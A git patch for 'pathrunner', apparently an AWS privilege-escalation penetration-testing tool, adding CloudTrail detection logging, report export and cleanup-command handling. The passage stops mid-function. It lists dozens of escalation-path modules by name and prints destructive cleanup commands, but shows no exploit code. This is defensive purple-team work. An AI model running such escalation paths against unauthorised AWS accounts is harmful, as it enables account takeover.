From b653ecbc24e041a781ba0eab4f7a0ffe3444184b Mon Sep 17 00:00:00 2001 From: Seth Art Date: Fri, 2 Oct 2026 20:01:59 -0400 Subject: [PATCH 1/3] Add purple team CloudTrail event logging across all exploit modules and discovery layer. Instruments all 81 exploit modules with logger.LogAWSCall() calls so every AWS API call made during exploitation is captured as a structured CloudTrail-aligned event. Threads DiscoveryLogger through pkg/discovery/ helpers so auto-discovery calls are also logged. Extends pkg/modules with the Logger interface and ExecutionContext.Logger field. Adds workspace report --output flag (HTML/Markdown export) and --module filter. Updates pkg/core session and REPL wiring, cleanup helpers, tab completion, and CLI adapter. Adds integration and unit tests for new report/cleanup behavior. Co-Authored-By: Claude Sonnet 4.6 --- .claude/skills/create-module/checklist.md | 4 +- .gitignore | 3 + CLAUDE.md | 2 +- pkg/cli/commands.go | 4 + pkg/core/repl/cleanup_extra.go | 30 +- pkg/core/repl/commands.go | 20 +- pkg/core/repl/completion.go | 1 + pkg/core/repl/module.go | 21 +- pkg/core/repl/repl.go | 15 + pkg/core/repl/session.go | 411 ++++++++---- pkg/core/repl_adapters.go | 24 + pkg/core/session.go | 82 ++- pkg/discovery/batch.go | 20 +- pkg/discovery/bedrock.go | 10 +- pkg/discovery/codebuild.go | 10 +- pkg/discovery/codedeploy.go | 22 +- pkg/discovery/dynamodb.go | 18 +- pkg/discovery/ec2.go | 46 +- pkg/discovery/glue.go | 10 +- pkg/discovery/iam.go | 142 +++- pkg/discovery/lambda.go | 10 +- pkg/discovery/s3.go | 10 +- pkg/exploits/apprunner_passrole/module.go | 8 +- .../apprunner_updateservice/module.go | 25 + .../module.go | 29 +- .../module.go | 17 +- pkg/exploits/batch_submitjob/module.go | 10 +- .../bedrock_createbrowser_cdp/module.go | 13 +- .../bedrock_invokeagentruntime/module.go | 8 +- .../module.go | 25 +- .../module.go | 13 +- .../bedrock_passrole_createharness/module.go | 13 +- .../bedrock_startbrowsersession_cdp/module.go | 6 + .../bedrock_startsession_invoke/module.go | 9 + pkg/exploits/braket_passrole/module.go | 9 +- .../module.go | 30 + .../cloudformation_passrole/module.go | 21 +- .../module.go | 29 +- .../cloudformation_updatestack/module.go | 25 + .../cloudformation_updatestackset/module.go | 25 + pkg/exploits/codebuild_passrole/module.go | 13 +- .../module.go | 13 +- pkg/exploits/codebuild_startbuild/module.go | 8 +- .../codebuild_startbuildbatch/module.go | 8 +- .../codedeploy_createdeployment/module.go | 14 +- .../cognitoidentity_passrole/module.go | 8 +- pkg/exploits/ec2_instanceconnect/module.go | 27 +- .../ec2_launch_template_version/module.go | 6 + .../ec2_modifyinstanceattribute/module.go | 13 +- pkg/exploits/ec2_passrole/module.go | 12 +- .../module.go | 10 +- pkg/exploits/ecs_executecommand/module.go | 6 + pkg/exploits/ecs_passrole/module.go | 26 +- .../ecs_passrole_createcluster/module.go | 18 +- .../module.go | 18 +- .../ecs_passrole_createservice/module.go | 13 +- pkg/exploits/ecs_passrole_runtask/module.go | 8 +- pkg/exploits/ecs_passrole_starttask/module.go | 8 +- .../module.go | 13 +- .../module.go | 8 +- pkg/exploits/emr_passrole/module.go | 10 +- pkg/exploits/emrserverless_passrole/module.go | 13 +- pkg/exploits/gamelift_passrole/module.go | 13 +- .../glue_passrole_createsession/module.go | 13 +- .../glue_passrole_devendpoint/module.go | 8 +- pkg/exploits/glue_passrole_job/module.go | 13 +- .../glue_passrole_job_createtrigger/module.go | 13 +- .../glue_updatejob_createtrigger/module.go | 31 +- .../glue_updatejob_startjobrun/module.go | 29 +- pkg/exploits/iam_addusertogroup/module.go | 12 +- pkg/exploits/iam_attachgrouppolicy/module.go | 12 +- pkg/exploits/iam_attachrolepolicy/module.go | 22 +- .../iam_attachrolepolicy_assumerole/module.go | 17 +- .../module.go | 22 +- pkg/exploits/iam_attachuserpolicy/module.go | 10 + .../module.go | 17 +- .../iam_create_policy_version/module.go | 22 +- pkg/exploits/iam_createaccesskey/module.go | 17 +- pkg/exploits/iam_createloginprofile/module.go | 17 +- .../module.go | 17 +- .../module.go | 22 +- .../module.go | 22 +- pkg/exploits/iam_putgrouppolicy/module.go | 12 +- pkg/exploits/iam_putrolepolicy/module.go | 22 +- .../iam_putrolepolicy_assumerole/module.go | 17 +- .../module.go | 22 +- pkg/exploits/iam_putuserpolicy/module.go | 10 + .../module.go | 17 +- .../iam_updateassumerolepolicy/module.go | 17 +- pkg/exploits/iam_updateloginprofile/module.go | 26 +- pkg/exploits/imagebuilder_passrole/module.go | 17 +- .../kinesisanalytics_passrole/module.go | 8 +- .../module.go | 23 +- pkg/exploits/lambda_passrole/module.go | 13 +- pkg/exploits/lambda_passrole_esm/module.go | 17 +- pkg/exploits/lambda_updatecode/module.go | 31 +- .../lambda_updatecode_addpermission/module.go | 26 +- .../lambda_updatecode_invoke/module.go | 21 +- pkg/exploits/omics_passrole/module.go | 13 +- .../ssm_passrole_automation/module.go | 13 +- pkg/exploits/ssm_sendcommand/module.go | 8 +- pkg/exploits/ssm_startsession/module.go | 8 +- pkg/exploits/sts_assume_role/module.go | 8 +- pkg/modules/base.go | 10 +- pkg/modules/interface.go | 30 +- pkg/report/cleanup.go | 416 ++++++++++++ pkg/report/data.go | 41 ++ pkg/report/html.go | 488 ++++++++++++++ pkg/report/markdown.go | 125 ++++ testdata/module-status.json | 2 +- tests/integration/cleanup_integration_test.go | 51 ++ .../cloudtrail_report_integration_test.go | 171 +++++ .../report_export_integration_test.go | 194 ++++++ tests/unit/cloudtrail_logger_test.go | 165 +++++ tests/unit/repl_test.go | 7 + tests/unit/report_test.go | 634 ++++++++++++++++++ 116 files changed, 4261 insertions(+), 274 deletions(-) create mode 100644 pkg/report/cleanup.go create mode 100644 pkg/report/data.go create mode 100644 pkg/report/html.go create mode 100644 pkg/report/markdown.go create mode 100644 tests/integration/cloudtrail_report_integration_test.go create mode 100644 tests/integration/report_export_integration_test.go create mode 100644 tests/unit/cloudtrail_logger_test.go create mode 100644 tests/unit/report_test.go diff --git a/.claude/skills/create-module/checklist.md b/.claude/skills/create-module/checklist.md index 239296a..37dd19c 100644 --- a/.claude/skills/create-module/checklist.md +++ b/.claude/skills/create-module/checklist.md @@ -45,7 +45,9 @@ Use this checklist after generating a new module to verify everything is complet - `CleanupMethod` set to the API action - `ModuleID` set to the path ID - `Metadata` includes info needed for cleanup -- [ ] Cleanup handler exists in `pkg/core/repl/session.go` for each resource type created +- [ ] Cleanup handler exists in `pkg/core/repl/session.go` `sessionCleanup()` for each resource type created +- [ ] `CleanupCommand()` in `pkg/report/cleanup.go` has a `case` for each resource type — this drives the AWS CLI command shown in `workspace cleanup`, the terminal report, and every exported report (HTML/Markdown). Falling through to `default` produces "manual cleanup required" instead of a real command. +- [ ] `cleanupOperationFromType()` in `pkg/core/repl/session.go` has a `case` for each resource type — this maps the type to an AWS operation name (e.g., `DeleteFunction`) for CloudTrail audit log entries emitted after cleanup. ## Side Effect Tracking (payload modifications) - [ ] After execution, module checks if payload implements `SideEffectReporter` diff --git a/.gitignore b/.gitignore index d3c4eea..2a34e25 100644 --- a/.gitignore +++ b/.gitignore @@ -13,6 +13,9 @@ *.out coverage.html +# Generated HTML reports +*.html + # Go workspace file go.work diff --git a/CLAUDE.md b/CLAUDE.md index 1c41f90..f8ebdef 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -116,7 +116,7 @@ REPL surface: **Resource Tracking**: Modules must call `tracker.TrackResource()` for created resources and check for `SideEffectReporter` on payloads to track modifications. Cleanup is region-aware, interactive via `survey/v2`, with permission error guidance. -**Cleanup Report**: `workspace report` generates handoff report with manual AWS CLI cleanup commands. Supports `--module ` filtering. +**Cleanup Report**: `workspace report` generates handoff report with manual AWS CLI cleanup commands. Supports `--output ` for export and `--module ` filtering. **When adding a new resource type**, you must add a `case` to both `CleanupCommand()` in `pkg/report/cleanup.go` (drives the CLI command shown in the terminal, HTML, and Markdown reports) and `cleanupOperationFromType()` in `pkg/core/repl/session.go` (maps the type to an AWS operation name for CloudTrail audit log entries). Omitting either causes the resource to fall through to `default` and print "manual cleanup required" instead of a real command. The `/create-module` checklist enforces this. **Timeouts**: 30-second timeouts for AWS operations (SSO credential resolution). diff --git a/pkg/cli/commands.go b/pkg/cli/commands.go index b77c786..0f71f36 100644 --- a/pkg/cli/commands.go +++ b/pkg/cli/commands.go @@ -267,11 +267,15 @@ func (c *CLI) createWorkspaceCmd() *cobra.Command { if module, _ := cmd.Flags().GetString("module"); module != "" { replArgs = append(replArgs, "--module", module) } + if output, _ := cmd.Flags().GetString("output"); output != "" { + replArgs = append(replArgs, "--output", output) + } _ = c.executeREPLCommand(strings.Join(replArgs, " ")) }, } reportCmd.Flags().String("module", "", "Only report resources from a specific module ID") + reportCmd.Flags().StringP("output", "o", "", "Write report to file (format inferred from extension: .html or .md)") workspaceCmd.AddCommand(reportCmd) // workspace history diff --git a/pkg/core/repl/cleanup_extra.go b/pkg/core/repl/cleanup_extra.go index b433da7..236dd0c 100644 --- a/pkg/core/repl/cleanup_extra.go +++ b/pkg/core/repl/cleanup_extra.go @@ -15,6 +15,8 @@ import ( "github.com/aws/aws-sdk-go-v2/service/apprunner" "github.com/aws/aws-sdk-go-v2/service/batch" batchtypes "github.com/aws/aws-sdk-go-v2/service/batch/types" + "github.com/aws/aws-sdk-go-v2/service/bedrockagentcore" + agentcoretypes "github.com/aws/aws-sdk-go-v2/service/bedrockagentcore/types" "github.com/aws/aws-sdk-go-v2/service/bedrockagentcorecontrol" "github.com/aws/aws-sdk-go-v2/service/braket" "github.com/aws/aws-sdk-go-v2/service/cloudformation" @@ -283,8 +285,32 @@ func (r *REPL) cleanupBedrockCodeInterpreter(ctx context.Context, config aws.Con if interpreterID == "" { interpreterID = resource.Name } - client := bedrockagentcorecontrol.NewFromConfig(config) - _, err := client.DeleteCodeInterpreter(ctx, &bedrockagentcorecontrol.DeleteCodeInterpreterInput{ + + runtimeClient := bedrockagentcore.NewFromConfig(config) + + // Stop any active sessions before attempting to delete — the API returns + // a 409 ConflictException if active sessions exist. + listOut, err := runtimeClient.ListCodeInterpreterSessions(ctx, &bedrockagentcore.ListCodeInterpreterSessionsInput{ + CodeInterpreterIdentifier: aws.String(interpreterID), + Status: agentcoretypes.CodeInterpreterSessionStatusReady, + }) + if err == nil { + for _, session := range listOut.Items { + if session.SessionId == nil { + continue + } + _, stopErr := runtimeClient.StopCodeInterpreterSession(ctx, &bedrockagentcore.StopCodeInterpreterSessionInput{ + CodeInterpreterIdentifier: aws.String(interpreterID), + SessionId: session.SessionId, + }) + if stopErr != nil { + fmt.Printf(" Warning: failed to stop session %s: %v\n", *session.SessionId, stopErr) + } + } + } + + controlClient := bedrockagentcorecontrol.NewFromConfig(config) + _, err = controlClient.DeleteCodeInterpreter(ctx, &bedrockagentcorecontrol.DeleteCodeInterpreterInput{ CodeInterpreterId: aws.String(interpreterID), }) return err diff --git a/pkg/core/repl/commands.go b/pkg/core/repl/commands.go index 247415f..56c7096 100644 --- a/pkg/core/repl/commands.go +++ b/pkg/core/repl/commands.go @@ -617,21 +617,31 @@ func (r *REPL) showWorkspaceCleanupHelp() error { func (r *REPL) showWorkspaceReportHelp() error { fmt.Println("Workspace Report Command:") - fmt.Println(" workspace report - Generate full cleanup report") - fmt.Println(" workspace report --module - Report for a specific module only") + fmt.Println(" workspace report - Print report to terminal") + fmt.Println(" workspace report --module - Report for a specific module only") + fmt.Println(" workspace report --output - Export as self-contained HTML") + fmt.Println(" workspace report --output - Export as Markdown") fmt.Println() fmt.Println("Generates a cleanup report listing all resources created or modified") fmt.Println("by pathrunner in the current workspace. The report includes:") fmt.Println(" - Created resources (Lambda functions, EC2 instances, IAM entities)") fmt.Println(" - Modified resources (policy attachments that need reversal)") fmt.Println(" - Manual AWS CLI cleanup commands for each resource") + fmt.Println(" - CloudTrail events for blue team detection reference") + fmt.Println() + fmt.Println("Supported export formats (inferred from file extension):") + fmt.Println(" .html Self-contained single-page HTML with dark/light theme") + fmt.Println(" .md Markdown with YAML frontmatter and tables") fmt.Println() - fmt.Println("Useful for handing off to a client, admin, or point of contact when") + fmt.Println("Useful for handing off to a client, admin, or blue team when") fmt.Println("the penetration tester cannot or should not delete resources themselves.") fmt.Println() fmt.Println("Examples:") - fmt.Println(" workspace report # Full report") - fmt.Println(" workspace report --module lambda-002 # Only lambda-002 resources") + fmt.Println(" workspace report # Full report in terminal") + fmt.Println(" workspace report --module lambda-002 # Only lambda-002 resources") + fmt.Println(" workspace report --output audit.html # Export as HTML") + fmt.Println(" workspace report --output audit.md # Export as Markdown") + fmt.Println(" workspace report --module iam-001 --output iam-001.html") return nil } diff --git a/pkg/core/repl/completion.go b/pkg/core/repl/completion.go index 81fbf8e..a65f5fa 100644 --- a/pkg/core/repl/completion.go +++ b/pkg/core/repl/completion.go @@ -336,6 +336,7 @@ func (r *REPL) buildWorkspaceCompleter() readline.PrefixCompleterInterface { ), readline.PcItem("report", readline.PcItem("--module"), + readline.PcItem("--output"), ), readline.PcItem("history"), readline.PcItem("help"), diff --git a/pkg/core/repl/module.go b/pkg/core/repl/module.go index df9b322..9b89cc9 100644 --- a/pkg/core/repl/module.go +++ b/pkg/core/repl/module.go @@ -456,6 +456,11 @@ func (r *REPL) discoverAndSetOption(discoverable modules.Discoverable, optionNam accountID := r.getCurrentAccountID() + // Inject the CloudTrail logger so discovery functions record their AWS API calls. + if dl, ok := discoverable.(modules.DiscoverLogged); ok { + dl.SetDiscoveryLogger(r.sessionManager) + } + // Run live API discovery choices, discoverErr := discoverable.Discover(optionName, identity, r.options) @@ -1010,11 +1015,25 @@ func (r *REPL) cmdExploit(repl *REPL, args []string) error { fmt.Printf("Using identity: %s\n", identity.Name) fmt.Println() + // Build a resolved options map: start with explicitly set values, then fill in + // defaults for any option the user has not overridden. This ensures modules always + // receive the default value when one is defined, even if the user never ran `set`. + resolvedOptions := make(map[string]string, len(r.options)) + for k, v := range r.options { + resolvedOptions[k] = v + } + for _, opt := range r.currentModule.Options() { + if resolvedOptions[opt.Name] == "" && opt.Default != "" { + resolvedOptions[opt.Name] = opt.Default + } + } + result, err := r.currentModule.Execute(modules.ExecutionContext{ Identity: identity, - Options: r.options, + Options: resolvedOptions, Tracker: r.sessionManager, AttackerIdentity: r.identityManager.GetAttackerIdentity(), + Logger: r.sessionManager, }) if err != nil { return NewExecutionError(fmt.Sprintf("module execution failed: %v", err), err) diff --git a/pkg/core/repl/repl.go b/pkg/core/repl/repl.go index 17238ea..51843cf 100644 --- a/pkg/core/repl/repl.go +++ b/pkg/core/repl/repl.go @@ -76,6 +76,21 @@ type SessionManager interface { RemoveCreatedResource(resourceName string) GetCreatedResources() []CreatedResource TrackResource(resource modules.CreatedResource) + LogAWSCall(service, operation, region, description string, metadata map[string]string) + GetCloudTrailEvents() []CloudTrailEvent +} + +// CloudTrailEvent is the repl-layer representation of an AWS API call recorded +// during module execution, for use in purple team detection-reference reports. +type CloudTrailEvent struct { + Timestamp string `json:"timestamp"` + ModuleID string `json:"module_id"` + Service string `json:"service"` + Operation string `json:"operation"` + Region string `json:"region,omitempty"` + Description string `json:"description"` + Principal string `json:"principal,omitempty"` + Metadata map[string]string `json:"metadata,omitempty"` } // Session interface to avoid circular dependencies diff --git a/pkg/core/repl/session.go b/pkg/core/repl/session.go index 8124a70..2a49358 100644 --- a/pkg/core/repl/session.go +++ b/pkg/core/repl/session.go @@ -13,6 +13,7 @@ import ( "time" "github.com/DataDog/pathrunner/pkg/modules" + "github.com/DataDog/pathrunner/pkg/report" "github.com/DataDog/pathrunner/pkg/ui" "github.com/DataDog/pathrunner/pkg/attacker" @@ -367,6 +368,13 @@ func (r *REPL) sessionCleanup(args []string) error { } if removeIt { r.sessionManager.RemoveCreatedResource(resource.Name) + r.sessionManager.LogAWSCall( + cleanupServiceFromType(resource.Type), + cleanupOperationFromType(resource.Type), + resource.Region, + fmt.Sprintf("Cleanup: %s '%s' not found in AWS — removed from tracking", resource.Type, resource.Name), + map[string]string{"resource_type": resource.Type, "resource_name": resource.Name, "outcome": "not_found"}, + ) gone++ } else if !quit { failed++ @@ -382,6 +390,13 @@ func (r *REPL) sessionCleanup(args []string) error { fmt.Printf(" OK\n") cleaned++ r.sessionManager.RemoveCreatedResource(resource.Name) + r.sessionManager.LogAWSCall( + cleanupServiceFromType(resource.Type), + cleanupOperationFromType(resource.Type), + resource.Region, + fmt.Sprintf("Cleanup: deleted %s '%s'", resource.Type, resource.Name), + map[string]string{"resource_type": resource.Type, "resource_name": resource.Name, "outcome": "deleted"}, + ) } } @@ -437,35 +452,51 @@ func isNotFoundError(err error) bool { } // sessionReport generates a cleanup report for handoff to a client or admin. +// Supports --module to filter by module and --output to write HTML or Markdown. func (r *REPL) sessionReport(args []string) error { if len(args) > 0 && args[0] == "help" { return r.showWorkspaceReportHelp() } resources := r.sessionManager.GetCreatedResources() - if len(resources) == 0 { - fmt.Println("No tracked resources in current workspace. Nothing to report.") + events := r.sessionManager.GetCloudTrailEvents() + + if len(resources) == 0 && len(events) == 0 { + fmt.Println("No tracked resources or CloudTrail events in current workspace. Nothing to report.") return nil } - // Parse optional --module filter + // Parse optional flags moduleFilter := "" + outputPath := "" for i, arg := range args { if arg == "--module" && i+1 < len(args) { moduleFilter = args[i+1] } + if arg == "--output" && i+1 < len(args) { + outputPath = args[i+1] + } } if moduleFilter != "" { - var filtered []CreatedResource + var filteredResources []CreatedResource for _, res := range resources { if res.ModuleID == moduleFilter { - filtered = append(filtered, res) + filteredResources = append(filteredResources, res) } } - resources = filtered - if len(resources) == 0 { - fmt.Printf("No tracked resources for module '%s'.\n", moduleFilter) + resources = filteredResources + + var filteredEvents []CloudTrailEvent + for _, ev := range events { + if ev.ModuleID == moduleFilter { + filteredEvents = append(filteredEvents, ev) + } + } + events = filteredEvents + + if len(resources) == 0 && len(events) == 0 { + fmt.Printf("No tracked resources or CloudTrail events for module '%s'.\n", moduleFilter) return nil } } @@ -486,10 +517,14 @@ func (r *REPL) sessionReport(args []string) error { } } - // Header + // Export to file when --output is given + if outputPath != "" { + return r.exportReport(buildReportData(workspaceName, moduleFilter, created, modified, events), outputPath) + } + + // Terminal rendering (unchanged) ui.ReportHeader(workspaceName, time.Now().Format("2006-01-02 15:04:05 MST"), len(resources), len(created), len(modified)) - // Created resources if len(created) > 0 { ui.ReportSection("CREATED RESOURCES (delete to clean up)") for _, res := range created { @@ -509,11 +544,11 @@ func (r *REPL) sessionReport(args []string) error { if res.Created != "" { fmt.Printf(" Created: %s\n", res.Created) } + printManualCleanupCommand(res) } fmt.Println() } - // Modified resources if len(modified) > 0 { ui.ReportSection("MODIFIED RESOURCES (revert to clean up)") for _, res := range modified { @@ -534,25 +569,129 @@ func (r *REPL) sessionReport(args []string) error { fmt.Printf(" Module: %s\n", res.ModuleID) } fmt.Printf(" Reversal: %s\n", res.CleanupMethod) + printManualCleanupCommand(res) } fmt.Println() } - // Manual cleanup instructions - ui.ReportSection("MANUAL CLEANUP COMMANDS") - fmt.Println() - for _, res := range created { - printManualCleanupCommand(res) - } - for _, res := range modified { - printManualCleanupCommand(res) + if len(events) > 0 { + printCloudTrailEventsSection(events) } ui.ReportFooter() + return nil +} + +// buildReportData converts repl-layer types into the format-agnostic report.ReportData struct. +func buildReportData(workspaceName, moduleFilter string, created, modified []CreatedResource, events []CloudTrailEvent) report.ReportData { + toResource := func(res CreatedResource) report.Resource { + return report.Resource{ + Type: res.Type, + Name: res.Name, + ARN: res.ARN, + Region: res.Region, + ModuleID: res.ModuleID, + CleanupMethod: res.CleanupMethod, + Created: res.Created, + Metadata: res.Metadata, + } + } + + reportCreated := make([]report.Resource, len(created)) + for i, res := range created { + reportCreated[i] = toResource(res) + } + reportModified := make([]report.Resource, len(modified)) + for i, res := range modified { + reportModified[i] = toResource(res) + } + + reportEvents := make([]report.Event, len(events)) + for i, ev := range events { + reportEvents[i] = report.Event{ + Timestamp: ev.Timestamp, + ModuleID: ev.ModuleID, + Service: ev.Service, + Operation: ev.Operation, + Region: ev.Region, + Principal: ev.Principal, + Description: ev.Description, + } + } + + return report.ReportData{ + WorkspaceName: workspaceName, + GeneratedAt: time.Now().UTC(), + ModuleFilter: moduleFilter, + Created: reportCreated, + Modified: reportModified, + Events: reportEvents, + } +} + +// exportReport renders data in the format inferred from outputPath's extension and writes it to disk. +func (r *REPL) exportReport(data report.ReportData, outputPath string) error { + lower := strings.ToLower(outputPath) + + var content string + var format string + + switch { + case strings.HasSuffix(lower, ".html"): + format = "HTML" + rendered, err := report.RenderHTML(data) + if err != nil { + return fmt.Errorf("failed to render HTML report: %w", err) + } + content = rendered + case strings.HasSuffix(lower, ".md"), strings.HasSuffix(lower, ".markdown"): + format = "Markdown" + content = report.RenderMarkdown(data) + default: + return NewInvalidArgumentsError("unsupported output format (use .html or .md)") + } + + if err := os.WriteFile(outputPath, []byte(content), 0644); err != nil { + return fmt.Errorf("failed to write %s report: %w", format, err) + } + fmt.Printf("Report written to %s\n", outputPath) return nil } +// printCloudTrailEventsSection renders the CloudTrail events table for blue team reference. +func printCloudTrailEventsSection(events []CloudTrailEvent) { + ui.ReportSection("CLOUDTRAIL EVENTS (blue team detection reference)") + fmt.Println() + + // Column widths: timestamp(23) module(12) service(10) operation(25) principal(40) description(remainder) + fmt.Printf(" %-23s %-12s %-10s %-25s %-40s %s\n", "Timestamp", "Module", "Service", "Operation", "Principal", "Description") + fmt.Printf(" %-23s %-12s %-10s %-25s %-40s %s\n", + "-----------------------", "------------", "----------", "-------------------------", "----------------------------------------", "-----------") + + for _, ev := range events { + moduleID := ev.ModuleID + if len(moduleID) > 12 { + moduleID = moduleID[:11] + "…" + } + service := ev.Service + if len(service) > 10 { + service = service[:9] + "…" + } + operation := ev.Operation + if len(operation) > 25 { + operation = operation[:24] + "…" + } + principal := ev.Principal + if len(principal) > 40 { + principal = "…" + principal[len(principal)-39:] + } + fmt.Printf(" %-23s %-12s %-10s %-25s %-40s %s\n", + ev.Timestamp, moduleID, service, operation, principal, ev.Description) + } + fmt.Println() +} + // isModificationResource returns true for resources that represent modifications // to existing AWS resources (e.g., policy attachments) rather than new creations. func isModificationResource(res CreatedResource) bool { @@ -561,146 +700,162 @@ func isModificationResource(res CreatedResource) bool { res.Type == "iam:trust-policy" } -// printManualCleanupCommand prints the AWS CLI command to clean up a resource. +// printManualCleanupCommand prints the AWS CLI command(s) for a resource paired with its listing. +// Multi-line commands (e.g. stop then delete) are printed with continuation indentation. func printManualCleanupCommand(res CreatedResource) { - region := res.Region - if region == "" { - region = "us-east-1" + cmd := report.CleanupCommand(report.Resource{ + Type: res.Type, + Name: res.Name, + ARN: res.ARN, + Region: res.Region, + Metadata: res.Metadata, + }) + if cmd == "" { + return + } + lines := strings.SplitSeq(cmd, "\n") + const label = " Command: " + const cont = " " // same width as label for continuation lines + first := true + for line := range lines { + if first { + fmt.Printf("%s%s\n", label, line) + first = false + } else { + fmt.Printf("%s%s\n", cont, line) + } + } +} + +// cleanupServiceFromType extracts the AWS service name from a resource type string (e.g. "lambda:function" → "lambda"). +func cleanupServiceFromType(resourceType string) string { + if idx := strings.Index(resourceType, ":"); idx > 0 { + return resourceType[:idx] } + return resourceType +} - switch res.Type { +// cleanupOperationFromType maps a resource type to its primary AWS delete/detach/revert operation name. +func cleanupOperationFromType(resourceType string) string { + switch resourceType { case "lambda:function": - fmt.Printf(" aws lambda delete-function --function-name %s --region %s\n", res.Name, region) + return "DeleteFunction" case "lambda:event-source-mapping": - uuid := res.Metadata["uuid"] - if uuid == "" { - uuid = res.Name - } - fmt.Printf(" aws lambda delete-event-source-mapping --uuid %s --region %s\n", uuid, region) + return "DeleteEventSourceMapping" case "lambda:permission": - funcName := res.Metadata["function_name"] - stmtID := res.Metadata["statement_id"] - fmt.Printf(" aws lambda remove-permission --function-name %s --statement-id %s --region %s\n", funcName, stmtID, region) + return "RemovePermission" case "ec2:instance": - instanceID := res.Metadata["instance_id"] - if instanceID == "" { - instanceID = res.Name - } - fmt.Printf(" aws ec2 terminate-instances --instance-ids %s --region %s\n", instanceID, region) + return "TerminateInstances" case "ec2:spot-instance-request": - spotRequestID := res.Metadata["spot_request_id"] - if spotRequestID == "" { - spotRequestID = res.Name - } - fmt.Printf(" aws ec2 cancel-spot-instance-requests --spot-instance-request-ids %s --region %s\n", spotRequestID, region) + return "CancelSpotInstanceRequests" case "iam:attached-policy": - principalType := res.Metadata["principal_type"] - principalName := res.Metadata["principal_name"] - policyArn := res.Metadata["policy_arn"] - switch principalType { - case "role": - fmt.Printf(" aws iam detach-role-policy --role-name %s --policy-arn %s\n", principalName, policyArn) - case "group": - fmt.Printf(" aws iam detach-group-policy --group-name %s --policy-arn %s\n", principalName, policyArn) - default: - fmt.Printf(" aws iam detach-user-policy --user-name %s --policy-arn %s\n", principalName, policyArn) - } + return "DetachPolicy" case "iam:inline-policy": - principalType := res.Metadata["principal_type"] - principalName := res.Metadata["principal_name"] - policyName := res.Metadata["policy_name"] - switch principalType { - case "role": - fmt.Printf(" aws iam delete-role-policy --role-name %s --policy-name %s\n", principalName, policyName) - case "group": - fmt.Printf(" aws iam delete-group-policy --group-name %s --policy-name %s\n", principalName, policyName) - default: - fmt.Printf(" aws iam delete-user-policy --user-name %s --policy-name %s\n", principalName, policyName) - } + return "DeleteRolePolicy" case "iam:group-membership": - userName := res.Metadata["user_name"] - groupName := res.Metadata["group_name"] - fmt.Printf(" aws iam remove-user-from-group --user-name %s --group-name %s\n", userName, groupName) + return "RemoveUserFromGroup" case "iam:trust-policy": - roleName := res.Metadata["role_name"] - fmt.Printf(" aws iam update-assume-role-policy --role-name %s --policy-document ''\n", roleName) + return "UpdateAssumeRolePolicy" case "iam:policy-version": - policyArn := res.Metadata["policy_arn"] - versionID := res.Metadata["version_id"] - fmt.Printf(" aws iam delete-policy-version --policy-arn %s --version-id %s\n", policyArn, versionID) + return "DeletePolicyVersion" case "iam:access-key": - username := res.Metadata["username"] - accessKeyID := res.Metadata["access_key_id"] - if accessKeyID == "" { - accessKeyID = res.Name - } - fmt.Printf(" aws iam delete-access-key --user-name %s --access-key-id %s\n", username, accessKeyID) + return "DeleteAccessKey" case "iam:login-profile": - username := res.Metadata["username"] - if username == "" { - username = res.Name - } - fmt.Printf(" aws iam delete-login-profile --user-name %s\n", username) + return "DeleteLoginProfile" case "iam:role": - fmt.Printf(" aws iam delete-role --role-name %s\n", res.Name) + return "DeleteRole" case "iam:user": - fmt.Printf(" aws iam delete-user --user-name %s\n", res.Name) + return "DeleteUser" case "ecs:service": - cluster := res.Metadata["cluster"] - fmt.Printf(" aws ecs delete-service --cluster %s --service %s --force --region %s\n", cluster, res.Name, region) + return "DeleteService" case "ecs:cluster": - fmt.Printf(" aws ecs delete-cluster --cluster %s --region %s\n", res.Name, region) + return "DeleteCluster" case "s3_bucket": - fmt.Printf(" aws s3 rm s3://%s --recursive --region %s\n", res.Name, region) - fmt.Printf(" aws s3api delete-bucket --bucket %s --region %s\n", res.Name, region) + return "DeleteBucket" case "glue:dev-endpoint": - fmt.Printf(" aws glue delete-dev-endpoint --endpoint-name %s --region %s\n", res.Name, region) + return "DeleteDevEndpoint" case "glue:job": - fmt.Printf(" aws glue delete-job --job-name %s --region %s\n", res.Name, region) + return "DeleteJob" case "glue:session": - fmt.Printf(" aws glue stop-session --id %s --region %s\n", res.Name, region) - fmt.Printf(" aws glue delete-session --id %s --region %s\n", res.Name, region) + return "DeleteSession" case "glue:trigger": - fmt.Printf(" aws glue stop-trigger --name %s --region %s\n", res.Name, region) - fmt.Printf(" aws glue delete-trigger --name %s --region %s\n", res.Name, region) + return "DeleteTrigger" case "imagebuilder:component": - componentArn := res.Metadata["component_arn"] - if componentArn == "" { - componentArn = res.ARN - } - fmt.Printf(" aws imagebuilder delete-component --component-build-version-arn %s --region %s\n", componentArn, region) + return "DeleteComponent" case "imagebuilder:recipe": - recipeArn := res.Metadata["recipe_arn"] - if recipeArn == "" { - recipeArn = res.ARN - } - fmt.Printf(" aws imagebuilder delete-image-recipe --image-recipe-arn %s --region %s\n", recipeArn, region) + return "DeleteImageRecipe" case "imagebuilder:infra-config": - infraArn := res.Metadata["infra_config_arn"] - if infraArn == "" { - infraArn = res.ARN - } - fmt.Printf(" aws imagebuilder delete-infrastructure-configuration --infrastructure-configuration-arn %s --region %s\n", infraArn, region) + return "DeleteInfrastructureConfiguration" case "imagebuilder:image": - imageArn := res.Metadata["image_build_arn"] - if imageArn == "" { - imageArn = res.ARN - } - fmt.Printf(" aws imagebuilder cancel-image-creation --image-build-version-arn %s --region %s 2>/dev/null || true\n", imageArn, region) - fmt.Printf(" aws imagebuilder delete-image --image-build-version-arn %s --region %s\n", imageArn, region) + return "DeleteImage" case "kinesisanalyticsv2:application": - createTimestamp := res.Metadata["create_timestamp"] - fmt.Printf(" # First stop the application, then delete it using its original CreateTimestamp\n") - fmt.Printf(" aws kinesisanalyticsv2 stop-application --application-name %s --force --region %s 2>/dev/null || true\n", res.Name, region) - fmt.Printf(" aws kinesisanalyticsv2 delete-application --application-name %s --create-timestamp %s --region %s\n", res.Name, createTimestamp, region) + return "DeleteApplication" case "local:file": - path := res.Metadata["path"] - if path == "" { - path = res.Name - } - fmt.Printf(" rm -f %s\n", path) + return "DeleteLocalFile" + case "batch:job-definition": + return "DeregisterJobDefinition" + case "batch:job-queue": + return "DeleteJobQueue" + case "batch:compute-environment": + return "DeleteComputeEnvironment" + case "bedrock-agentcore:code-interpreter": + return "DeleteCodeInterpreter" + case "bedrock-agentcore:agent-runtime": + return "DeleteAgentRuntime" + case "bedrock-agentcore:browser": + return "DeleteBrowser" + case "bedrock-agentcore:harness": + return "DeleteHarness" + case "apprunner:service": + return "DeleteService" + case "braket:job": + return 